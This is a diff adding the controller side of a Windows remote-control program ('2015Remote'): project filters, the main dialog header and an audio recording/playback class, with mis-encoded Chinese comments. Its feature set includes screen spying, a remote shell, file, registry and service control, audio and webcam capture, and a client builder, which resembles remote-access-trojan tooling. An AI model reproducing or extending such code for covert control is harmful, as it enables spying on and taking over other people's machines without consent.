<Filter Include="远程系统管理">
|
||||||
|
<UniqueIdentifier>{ba31583e-3d2b-4f34-ac0f-9589567fccd9}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程音频">
|
||||||
|
<UniqueIdentifier>{b3a92075-6f32-4114-8c59-b0fb0042ed03}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="生成客户端">
|
||||||
|
<UniqueIdentifier>{604ae8b3-7d79-4ba3-955d-8244c26c9218}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程注册表">
|
||||||
|
<UniqueIdentifier>{9cd8e611-2137-4553-b9a9-121877b5e33c}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程服务">
|
||||||
|
<UniqueIdentifier>{99dc4626-9f3c-4a3f-bfbd-03c6748fe053}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程视频">
|
||||||
|
<UniqueIdentifier>{4fbc083b-8252-4012-836d-6757122c7de7}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ReadMe.txt" />
|
||||||
|
<None Include="res\My2015Remote.rc2">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\2015Remote.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\Bitmap\Online.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\bitmap\toolbar1.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\Bitmap\ToolBar_Main.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\bitmap\bmp00001.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\Bitmap\ToolBar_File.bmp">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\Cur\Drag.cur">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\Cur\MutiDrag.cur">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\icon1.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\cmdshell.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\audio.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\file.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\pc.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\dword.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
<None Include="res\string.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</None>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="2015Remote.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="stdafx.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="targetver.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Resource.h">
|
||||||
|
<Filter>主Dlg</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="TrueColorToolBar.h">
|
||||||
|
<Filter>真彩Bar</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="SettingDlg.h">
|
||||||
|
<Filter>设置Dlg</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="iniFile.h">
|
||||||
|
<Filter>设置Dlg</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="IOCPServer.h">
|
||||||
|
<Filter>通信类</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="CpuUseage.h">
|
||||||
|
<Filter>CPU</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="zlib.h">
|
||||||
|
<Filter>缓冲区</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="zconf.h">
|
||||||
|
<Filter>缓冲区</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Buffer.h">
|
||||||
|
<Filter>缓冲区</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ScreenSpyDlg.h">
|
||||||
|
<Filter>远程控制</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="FileManagerDlg.h">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="EditDialog.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="2015RemoteDlg.h">
|
||||||
|
<Filter>主Dlg</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="FileTransferModeDlg.h">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="FileCompress.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="TalkDlg.h">
|
||||||
|
<Filter>即时消息</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ShellDlg.h">
|
||||||
|
<Filter>远程终端</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="SystemDlg.h">
|
||||||
|
<Filter>远程系统管理</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="AudioDlg.h">
|
||||||
|
<Filter>远程音频</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="BuildDlg.h">
|
||||||
|
<Filter>生成客户端</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="RegisterDlg.h">
|
||||||
|
<Filter>远程注册表</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ServicesDlg.h">
|
||||||
|
<Filter>远程服务</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="VideoDlg.h">
|
||||||
|
<Filter>远程视频</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="Audio.h">
|
||||||
|
<Filter>远程音频</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="2015Remote.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="2015RemoteDlg.cpp">
|
||||||
|
<Filter>主Dlg</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="TrueColorToolBar.cpp">
|
||||||
|
<Filter>真彩Bar</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="SettingDlg.cpp">
|
||||||
|
<Filter>设置Dlg</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="iniFile.cpp">
|
||||||
|
<Filter>设置Dlg</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IOCPServer.cpp">
|
||||||
|
<Filter>通信类</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="CpuUseage.cpp">
|
||||||
|
<Filter>CPU</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Buffer.cpp">
|
||||||
|
<Filter>缓冲区</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ScreenSpyDlg.cpp">
|
||||||
|
<Filter>远程控制</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="FileManagerDlg.cpp">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="EditDialog.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="FileTransferModeDlg.cpp">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="TalkDlg.cpp">
|
||||||
|
<Filter>即时消息</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ShellDlg.cpp">
|
||||||
|
<Filter>远程终端</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="SystemDlg.cpp">
|
||||||
|
<Filter>远程系统管理</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="FileCompress.cpp">
|
||||||
|
<Filter>远程文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="AudioDlg.cpp">
|
||||||
|
<Filter>远程音频</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="BuildDlg.cpp">
|
||||||
|
<Filter>生成客户端</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="RegisterDlg.cpp">
|
||||||
|
<Filter>远程注册表</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ServicesDlg.cpp">
|
||||||
|
<Filter>远程服务</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="VideoDlg.cpp">
|
||||||
|
<Filter>远程视频</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="Audio.cpp">
|
||||||
|
<Filter>远程音频</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="2015Remote.rc">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
3
server/2015Remote/2015Remote.vcxproj.user
Normal file
3
server/2015Remote/2015Remote.vcxproj.user
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
</Project>
|
||||||
1227
server/2015Remote/2015RemoteDlg.cpp
Normal file
1227
server/2015Remote/2015RemoteDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
107
server/2015Remote/2015RemoteDlg.h
Normal file
107
server/2015Remote/2015RemoteDlg.h
Normal file
@@ -0,0 +1,107 @@
|
|||||||
|
|
||||||
|
// 2015RemoteDlg.h : ͷ<>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include "afxcmn.h"
|
||||||
|
#include "TrueColorToolBar.h"
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
|
||||||
|
typedef struct _LOGIN_INFOR
|
||||||
|
{
|
||||||
|
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
|
||||||
|
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||||
|
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||||
|
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||||
|
}LOGIN_INFOR,*PLOGIN_INFOR;
|
||||||
|
|
||||||
|
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
class CMy2015RemoteDlg : public CDialogEx
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD><EFBFBD>
|
||||||
|
public:
|
||||||
|
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
~CMy2015RemoteDlg()
|
||||||
|
{
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
// ʵ<><CAB5>
|
||||||
|
protected:
|
||||||
|
HICON m_hIcon;
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD>Ϣӳ<CFA2>亯<EFBFBD><E4BAAF>
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||||
|
afx_msg void OnPaint();
|
||||||
|
afx_msg HCURSOR OnQueryDragIcon();
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
|
||||||
|
VOID CMy2015RemoteDlg::InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
||||||
|
VOID CMy2015RemoteDlg::TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
||||||
|
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||||
|
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
|
||||||
|
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg);
|
||||||
|
VOID CMy2015RemoteDlg::CreatStatusBar();
|
||||||
|
VOID CMy2015RemoteDlg::CreateToolBar();
|
||||||
|
VOID CMy2015RemoteDlg::CreateNotifyBar();
|
||||||
|
VOID CMy2015RemoteDlg::CreateSolidMenu();
|
||||||
|
VOID CMy2015RemoteDlg::ListenPort();
|
||||||
|
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection);
|
||||||
|
|
||||||
|
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||||
|
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||||
|
static VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||||
|
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
CListCtrl m_CList_Online;
|
||||||
|
CListCtrl m_CList_Message;
|
||||||
|
|
||||||
|
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
|
||||||
|
CTrueColorToolBar m_ToolBar;
|
||||||
|
NOTIFYICONDATA m_Nid;
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
|
||||||
|
UINT m_iCount;
|
||||||
|
CBitmap m_bmOnline[2];
|
||||||
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnOnlineMessage();
|
||||||
|
afx_msg void OnOnlineDelete();
|
||||||
|
afx_msg void OnAbout();
|
||||||
|
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
||||||
|
afx_msg void OnNotifyShow();
|
||||||
|
afx_msg void OnNotifyExit();
|
||||||
|
afx_msg void OnMainSet();
|
||||||
|
afx_msg void OnMainExit();
|
||||||
|
afx_msg void OnOnlineCmdManager();
|
||||||
|
afx_msg void OnOnlineProcessManager();
|
||||||
|
afx_msg void OnOnlineWindowManager();
|
||||||
|
afx_msg void OnOnlineDesktopManager();
|
||||||
|
afx_msg void OnOnlineAudioManager();
|
||||||
|
afx_msg void OnOnlineVideoManager();
|
||||||
|
afx_msg void OnOnlineFileManager();
|
||||||
|
afx_msg void OnOnlineServerManager();
|
||||||
|
afx_msg void OnOnlineRegisterManager();
|
||||||
|
afx_msg void OnOnlineBuildClient();
|
||||||
|
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
};
|
||||||
237
server/2015Remote/Audio.cpp
Normal file
237
server/2015Remote/Audio.cpp
Normal file
@@ -0,0 +1,237 @@
|
|||||||
|
// Audio.cpp: implementation of the CAudio class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "Audio.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CAudio::CAudio()
|
||||||
|
{
|
||||||
|
m_bExit = FALSE;
|
||||||
|
m_hThreadCallBack = false;
|
||||||
|
m_bIsWaveInUsed = FALSE;
|
||||||
|
m_bIsWaveOutUsed = FALSE;
|
||||||
|
m_nWaveInIndex = 0;
|
||||||
|
m_nWaveOutIndex = 0;
|
||||||
|
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
|
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
|
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
||||||
|
|
||||||
|
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
||||||
|
m_GSMWavefmt.wfx.nChannels = 1;
|
||||||
|
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
|
||||||
|
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
|
||||||
|
m_GSMWavefmt.wfx.nBlockAlign = 65;
|
||||||
|
m_GSMWavefmt.wfx.wBitsPerSample = 0;
|
||||||
|
m_GSMWavefmt.wfx.cbSize = 2;
|
||||||
|
m_GSMWavefmt.wSamplesPerBlock = 320;
|
||||||
|
|
||||||
|
m_ulBufferLength = 1000;
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
for (i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||||
|
m_InAudioHeader[i] = new WAVEHDR;
|
||||||
|
|
||||||
|
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
||||||
|
m_OutAudioHeader[i] = new WAVEHDR;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CAudio::~CAudio()
|
||||||
|
{
|
||||||
|
m_bExit = TRUE;
|
||||||
|
if (m_bIsWaveInUsed)
|
||||||
|
{
|
||||||
|
waveInStop(m_hWaveIn);
|
||||||
|
waveInReset(m_hWaveIn);
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
|
||||||
|
waveInClose(m_hWaveIn);
|
||||||
|
WAIT (m_hThreadCallBack, 30);
|
||||||
|
if (m_hThreadCallBack)
|
||||||
|
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
delete [] m_InAudioData[i];
|
||||||
|
m_InAudioData[i] = NULL;
|
||||||
|
delete [] m_InAudioHeader[i];
|
||||||
|
m_InAudioHeader[i] = NULL;
|
||||||
|
}
|
||||||
|
if (m_hEventWaveIn)
|
||||||
|
{
|
||||||
|
SetEvent(m_hEventWaveIn);
|
||||||
|
CloseHandle(m_hEventWaveIn);
|
||||||
|
m_hEventWaveIn = NULL;
|
||||||
|
}
|
||||||
|
if (m_hStartRecord)
|
||||||
|
{
|
||||||
|
SetEvent(m_hStartRecord);
|
||||||
|
CloseHandle(m_hStartRecord);
|
||||||
|
m_hStartRecord = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_bIsWaveOutUsed)
|
||||||
|
{
|
||||||
|
waveOutReset(m_hWaveOut);
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
waveOutClose(m_hWaveOut);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
delete [] m_OutAudioData[i];
|
||||||
|
m_OutAudioData[i] = NULL;
|
||||||
|
delete [] m_OutAudioHeader[i];
|
||||||
|
m_OutAudioHeader[i] = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CAudio::InitializeWaveIn()
|
||||||
|
{
|
||||||
|
MMRESULT mmResult;
|
||||||
|
DWORD dwThreadID = 0;
|
||||||
|
|
||||||
|
HANDLE h = NULL;
|
||||||
|
m_hThreadCallBack = h = CreateThread(NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
||||||
|
CREATE_SUSPENDED, &dwThreadID);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
|
||||||
|
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
|
||||||
|
|
||||||
|
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
//¼<><C2BC><EFBFBD>豸 <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
for (int i=0; i<2; i++)
|
||||||
|
{
|
||||||
|
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||||
|
m_InAudioHeader[i]->dwFlags = 0;
|
||||||
|
m_InAudioHeader[i]->dwLoops = 0;
|
||||||
|
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
}
|
||||||
|
|
||||||
|
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
|
||||||
|
ResumeThread(h);
|
||||||
|
CloseHandle(h);
|
||||||
|
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||||
|
|
||||||
|
m_bIsWaveInUsed = TRUE;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||||
|
{
|
||||||
|
//¼<><C2BC><EFBFBD><EFBFBD>
|
||||||
|
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (dwBufferSize == NULL)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
SetEvent(m_hStartRecord);
|
||||||
|
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||||
|
*dwBufferSize = m_ulBufferLength;
|
||||||
|
return m_InAudioData[m_nWaveInIndex]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||||
|
{
|
||||||
|
CAudio *This = (CAudio *)lParam;
|
||||||
|
|
||||||
|
MSG Msg;
|
||||||
|
|
||||||
|
while (GetMessage(&Msg, NULL, 0, 0))
|
||||||
|
{
|
||||||
|
if (This->m_bExit)
|
||||||
|
break;
|
||||||
|
if (Msg.message == MM_WIM_DATA)
|
||||||
|
{
|
||||||
|
SetEvent(This->m_hEventWaveIn);
|
||||||
|
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||||
|
|
||||||
|
Sleep(1);
|
||||||
|
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||||
|
|
||||||
|
|
||||||
|
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
||||||
|
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||||
|
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||||
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Msg.message == MM_WIM_CLOSE)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
TranslateMessage(&Msg);
|
||||||
|
DispatchMessage(&Msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout<<"waveInCallBack end\n";
|
||||||
|
This->m_hThreadCallBack = false;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||||
|
{
|
||||||
|
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 <20><>Ƶ<EFBFBD><C6B5>ʽ 2 <20><><EFBFBD><EFBFBD><EFBFBD>豸
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength)
|
||||||
|
{
|
||||||
|
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
||||||
|
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
||||||
|
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CAudio::InitializeWaveOut()
|
||||||
|
{
|
||||||
|
if (!waveOutGetNumDevs())
|
||||||
|
return FALSE;
|
||||||
|
int i;
|
||||||
|
for (i = 0; i < 2; i++)
|
||||||
|
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
MMRESULT mmResult;
|
||||||
|
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
||||||
|
if (mmResult != MMSYSERR_NOERROR)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
for (i = 0; i < 2; i++)
|
||||||
|
{
|
||||||
|
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||||
|
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||||
|
m_OutAudioHeader[i]->dwFlags = 0;
|
||||||
|
m_OutAudioHeader[i]->dwLoops = 0;
|
||||||
|
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||||
|
}
|
||||||
|
|
||||||
|
m_bIsWaveOutUsed = TRUE;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
44
server/2015Remote/Audio.h
Normal file
44
server/2015Remote/Audio.h
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
// Audio.h: interface for the CAudio class.
|
||||||
|
//
|
||||||
